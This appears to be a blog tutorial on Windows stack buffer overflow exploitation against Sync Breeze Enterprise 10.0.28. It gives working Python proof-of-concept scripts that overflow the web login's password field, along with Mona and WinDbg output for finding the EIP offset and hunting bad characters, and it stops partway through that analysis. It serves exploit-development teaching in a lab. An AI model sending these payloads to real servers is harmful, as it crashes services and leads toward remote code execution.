Post

Exploit Development Windows User Mode Stack Overflow

Stack Overflow

Once we understand the basic [fundamentals] (https://r00tven0m.github.io/posts/Exploit-Development-Windows-User-Mode-Fundamentals/) of exploitation and why a Buffer Overflow occurs, we can attempt to exploit an application. Although there are some CTF binaries available for learning, it might be better to exploit a real application with a bit more complexity to develop the logic of exploitation.

Configuration

The application used will be Sync Breeze Enterprise 10.0.28, which will serve as our target for exploitation. Using the installer, it is easy to install with just a few “next” clicks. Image Alt Text

This application creates a service called Sync Breeze Enterprise, which we can view using the services.msc command. One thing to keep in mind is that when the program crashes, it is not enough to simply reopen it; we need to restart this service. One thing we do is change the user running the service to a local user. This is not necessary but makes it easier for the program to interact with the desktop.

Image Alt Text

It will also be necessary to enable the web server since that is where the vulnerability occurs.

Image Alt Text

Once this is done, we can simply attach to the syncbrs.exe process.

Image Alt Text

Crashing Application

There are multiple ways to find a memory corruption vulnerability. Some of the most common methods are:

1
2
3
Fuzzing: This involves sending multiple patterns of characters into all fields where input can be entered to try and corrupt the program.

Reversing: This involves disassembling the program to understand its functionality and searching for vulnerabilities using only the application’s source code.

The aforementioned techniques are somewhat extensive and will require their own posts to explain in detail. For now, we will use an exploit found on exploitdb as a base and attempt to exploit the application starting from the proof of concept (PoC).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3
from pwn import remote

payload = b"A" * 1000

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

When we execute the PoC, as we saw in the funda[fundamentals] (https://r00tven0m.github.io/posts/Exploit-Development-Windows-User-Mode-Fundamentals/)mentals, what will happen is that a return address on the stack is overwritten, and the EIP register ends up pointing to 0x41414141, which is the hexadecimal value of AAAA. The program fails to find this address and crashes.

1
2
3
4
python3 exploit.py
[+] Opening connection to Windows on port 80: Done  
[*] Closed connection to Windows port 80

1
2
3
4
5
6
7
8
9
0:000> g
(16bc.1924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00709ddc edx=00000350 esi=006fc4ce edi=010533f0  
eip=41414141 esp=01c0744c ebp=006fe420 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
41414141 ??              ???

Find Offset

Our goal is to gain control over the EIP register, but for that, we need to determine how many bytes are needed before overwriting it. To achieve this, we can use Mona and create a pattern of characters that will help us find the exact number of bytes.

1
2
3
4
5
6
7
8
9
10
11
0:000> .load pykd.pyd
0:000> !py mona pattern_create 1000
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1000
Creating cyclic pattern of 1000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B  
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file

Now, we replace the 1000 A's in the payload with this pattern and send the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
from pwn import remote

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"  

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

One thing to keep in mind is that when we want to re-run the application after it crashes, we need to restart the service and reattach to the process.

Image Alt Text

Once the exploit is sent, the program crashes, but now it does not point to 0x41414141; instead, it points to 0x72413372, which is part of the Mona character pattern.

1
2
3
4
5
6
7
8
9
0:000> g
(990.1f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006dd034 edx=00000350 esi=006d614e edi=01086ac8  
eip=72413372 esp=01c2744c ebp=006cec30 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
72413372 ??              ???

Since we know this, we can use pattern_offset to calculate the number of bytes needed before overwriting the EIP register, which is 520 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for r3Ar in pattern of 500000 bytes
 - Pattern r3Ar (0x72413372) found in cyclic pattern at position 520  
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
 - Pattern rA3r not found in cyclic pattern (uppercase)  
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
 - Pattern rA3r not found in cyclic pattern (lowercase)

Given the offset, we can now send 520 A's to reach the EIP register, overwrite it with 4 B's, and then send 300 C’s. These 300 C's should be placed just where the stack begins, so the ESP register should point to these C's.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 300

payload = junk + ret + stack

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

When executing the exploit, the program crashes, and the EIP points to 0x42424242, which corresponds to BBBB.

1
2
3
4
5
6
7
8
0:000> g
(1fc4.1db4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006b02c4 edx=00000350 esi=006a976e edi=01036ac8  
eip=42424242 esp=01c0744c ebp=006a4920 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
42424242 ??      

A specific issue with this program, unlike others, is that the ESP points to 0x01c0744c, whereas the C's start at 0x01c07448, which is 4 bytes earlier. This results in losing aDWORD, and if this were a shellcode, it would omit some instructions.

1
2
3
4
5
6
0:000> dds esp - 8 L5
01c07444  42424242                 (esp - 8)
01c07448  43434343                 (esp - 4) [dword lost]  
01c0744c  43434343                 (esp + 0)
01c07450  43434343                 (esp + 4)
01c07454  43434343                 (esp + 8)

To avoid this issue, we will add 4 C's as the missing DWORD and then follow with 300 D's. The 300 D's should be placed exactly on the stack where the ESP points.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
filler = b"C" * 4
stack = b"D" * 300

payload = junk + ret + filler + stack

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

If we check the memory now, the address of the ESP points exactly to where the D’s are located.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> dds esp - 8 L5
008e7444  42424242                 (esp - 8)
008e7448  43434343                 (esp - 4) [dword lost]
008e744c  44444444                 (esp + 0)
008e7450  44444444                 (esp + 4)
008e7454  44444444                 (esp + 8)

0:000> db esp
008e744c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e745c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e746c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e747c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e748c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e749c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e74ac  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e74bc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  

Find Badchars

It’s crucial to detect bytes that could cause issues, as the program might have problems with certain specific characters and truncate the string. If this occurs in a shellcode, it could remove many instructions and prevent it from executing properly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

We modified the exploit so that instead of storing D's on the stack, it stores our byte array of the 256 possible characters. We can then compare this memory address with the .bin file created by Mona, which lists all potential bad characters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
filler = b"C" * 4

badchars  = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + ret + filler + badchars

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data

shell = remote("Windows", 80)
shell.send(content)

When sending the exploit, the 256 bytes should be present on the stack. By using Mona to compare the .bin file with that memory address, it’s interesting to note that all characters are marked as badchars except for0x00. This happens because the null byte (0x00) is used to indicate the termination of a string, so everything preceding it isn’t written. Thus, our first badchar is 0x00.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c3744c | [+] Comparing with memory at location : 0x01c3744c (Stack)
0x01c3744c | Only 1 original bytes of 'normal' code found.
0x01c3744c |     ,-----------------------------------------------.
0x01c3744c |     | Comparison results:                           |
0x01c3744c |     |-----------------------------------------------|
0x01c3744c |   0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x01c3744c |     |   fd 73 00 c8 6a 09 01 10 ef 5b 00 c0 71 08 01| Memory
0x01c3744c |  10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x01c3744c |     |c8 6a 09 01 06 00 00 00 08 ab c3 01 00 00 00 00| Memory
0x01c3744c |  20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x01c3744c |     |00 00 00 00 00 fd a8 00 01 00 00 00 00 00 00 00| Memory
0x01c3744c |  30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 02 00 00 00 a8 c1 73 00| Memory
0x01c3744c |  40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x01c3744c |     |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 a8 00| Memory
0x01c3744c |  50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x01c3744c |     |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x01c3744c |     |c4 d0 c3 01 f8 aa c3 01 70 74 c3 01 00 00 00 00| Memory
0x01c3744c |  70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |     `-----------------------------------------------'
0x01c3744c | 
0x01c3744c |             | File      | Memory    | Note       
0x01c3744c | -------------------------------------------------
0x01c3744c | 0 0 1   1   | 00        | 00        | unmodified!
0x01c3744c | 1 1 255 255 | 01 ... ff | fd ... 00 | corrupted  
0x01c3744c | 
0x01c3744c | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff  
0x01c3744c |

What we do is create a new byte array that omits the 0x00 byte. This will create a .bin file that excludes the null byte at the beginning. Additionally, we remove this byte from the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

1
2
3
4
5
6
7
8
9
10
badchars  = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

After sending the exploit and comparing the stack with the .bin file, we see that 0x00 is omitted, and up to byte 0x09, the bytes match correctly. However, it seems that byte 0x0a is not written correctly to the stack, and Mona suggests it as a badchar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | Only 10 original bytes of 'normal' code found.
0x01c2744c |     ,-----------------------------------------------.
0x01c2744c |     | Comparison results:                           |
